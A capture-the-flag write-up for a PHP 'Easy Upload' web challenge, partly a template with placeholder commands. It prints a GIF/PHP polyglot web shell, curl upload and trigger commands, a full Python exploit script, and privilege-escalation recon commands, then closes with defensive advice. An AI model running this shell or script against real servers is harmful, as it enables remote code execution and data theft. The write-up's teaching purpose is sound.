Easy Upload
Easy Upload
Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-04 | Status: Solved Techniques: Blind RCE with file-based output exfiltration, GIF polyglot creation (valid GIF header + PHP code), LFI via PHP include() function, MIME type bypass via Content-Type header spoofing
Summary
Task: Web "Easy Upload" — simple file upload. Solution: Basic file upload bypass, extension filtering circumvention.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackerlab| ID:20260104_hackerlab_easy_upload - Tags: rce, lfi, php, file_upload, local_file_inclusion, remote_code_execution, gif_polyglot, mime_type_bypass, blind_rce, include, ob_start, output_buffering, image_upload
- Indicators: PHP include() function processing uploaded files, MIME type validation only (no magic bytes check), ob_start() capturing output (blind execution), Avatar/image upload functionality, Source code provided revealing vulnerability chain
- Source:
20260104_hackerlab_easy_upload.md
Foothold
Vulnerability / Misconfiguration
- Blind RCE with file-based output exfiltration
- GIF polyglot creation (valid GIF header + PHP code)
- LFI via PHP include() function
- MIME type bypass via Content-Type header spoofing
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- Blind RCE with file-based output exfiltration
- GIF polyglot creation (valid GIF header + PHP code)
- LFI via PHP include() function
- MIME type bypass via Content-Type header spoofing
- Tags: rce, lfi, php, file_upload, local_file_inclusion, remote_code_execution, gif_polyglot, mime_type_bypass, blind_rce, include, ob_start, output_buffering, image_upload
Original Writeup
<details><summary>Click to expand original content</summary>Challenge Description
Недавно наткнулся на странный сервис для хранения фотографий. Вроде бы ничего необычного - можно загружать картинки и менять тему оформления. Но что-то подсказывает, что не всё так просто, как кажется на первый взгляд...
Translation: "Recently stumbled upon a strange photo storage service. Nothing unusual - you can upload images and change the theme. But something tells me it's not as simple as it seems..."
Analysis
Source Code Review
The challenge provided source code. Key vulnerability was in UserProfile.php:
php read-only • copy allowedpublic function loadAvatar() { $avatarPath = "uploads/" . $this->avatar; if (file_exists($avatarPath)) { if (preg_match('/^[a-zA-Z0-9_-]+\.(jpg|jpeg|png|gif)$/i', $this->avatar)) { ob_start(); include($avatarPath); // LFI vulnerability! $output = ob_get_clean(); return null; } } }
Critical Issue: The include() function executes PHP code inside uploaded files, even if they have image extensions.
Upload Validation Weakness
The upload validation in upload.php only checks MIME type from the HTTP header:
php read-only • copy allowed$allowed_types = ['image/jpeg', 'image/png', 'image/gif']; if (!in_array($file['type'], $allowed_types)) { die("Invalid file type"); }
Problem: MIME type is client-controlled and easily spoofed. No server-side magic bytes validation.
Blind RCE Challenge
The ob_start() and ob_get_clean() capture all output, making this a blind RCE - we can execute code but can't see the output directly.
Solution
Step 1: Register and Login
Get a valid session cookie for authenticated requests.
Step 2: Create GIF Polyglot
Create a file that is both a valid GIF and contains PHP code:
bash read-only • copy allowedprintf 'GIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;<?php file_put_contents("uploads/out.txt",shell_exec($_GET["c"])); ?>' > shell.gif
Breakdown:
GIF89a- Valid GIF header (magic bytes)\x01\x00\x01\x00...- Minimal 1x1 pixel GIF structure<?php ... ?>- PHP code appended after GIF data
Step 3: Upload the Shell
Upload with correct MIME type to bypass validation:
bash read-only • copy allowedcurl -s http://target/upload.php \ -b cookies.txt \ -X POST \ -F "avatar=@shell.gif;type=image/gif"
Step 4: Trigger RCE
Since output is captured by ob_start(), we write results to a file:
bash read-only • copy allowed# Execute command and write output to file curl -s "http://target/index.php?c=cat+/fl4g.txt" -b cookies.txt # Read the exfiltrated output curl -s "http://target/uploads/out.txt"
Step 5: Get Flag
Flag was located in /fl4g.txt:
CODEBY{REDACTED}
Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 import requests TARGET = "http://target" s = requests.Session() # 1. Register and login s.post(f"{TARGET}/register.php", data={"username": "test", "password": "test"}) s.post(f"{TARGET}/login.php", data={"username": "test", "password": "test"}) # 2. Create GIF polyglot gif_header = b'GIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;' php_code = b'<?php file_put_contents("uploads/out.txt",shell_exec($_GET["c"])); ?>' polyglot = gif_header + php_code # 3. Upload files = {'avatar': ('shell.gif', polyglot, 'image/gif')} s.post(f"{TARGET}/upload.php", files=files) # 4. Trigger RCE s.get(f"{TARGET}/index.php", params={"c": "cat /fl4g.txt"}) # 5. Read output flag = s.get(f"{TARGET}/uploads/out.txt").text print(f"Flag: {flag}")
Key Takeaways
Vulnerability Chain
- Weak Upload Validation - MIME type only, no magic bytes check
- Dangerous include() - Executes PHP in any included file
- Blind RCE - Output buffering requires file-based exfiltration
Defense Recommendations
- Validate magic bytes server-side, not just MIME type
- Never use include() on user-uploaded files
- Use readfile() or file_get_contents() for serving files
- Store uploads outside webroot with randomized names
- Disable PHP execution in upload directories via .htaccess
Key Indicators for This Attack
include()orrequire()on uploaded files- MIME-only validation without magic bytes check
- Image upload functionality with PHP backend
- Output buffering (
ob_start()) suggesting blind execution
References
- PHP File Upload Vulnerabilities
- Polyglot Files
- GIF File Format
signed by XESXOR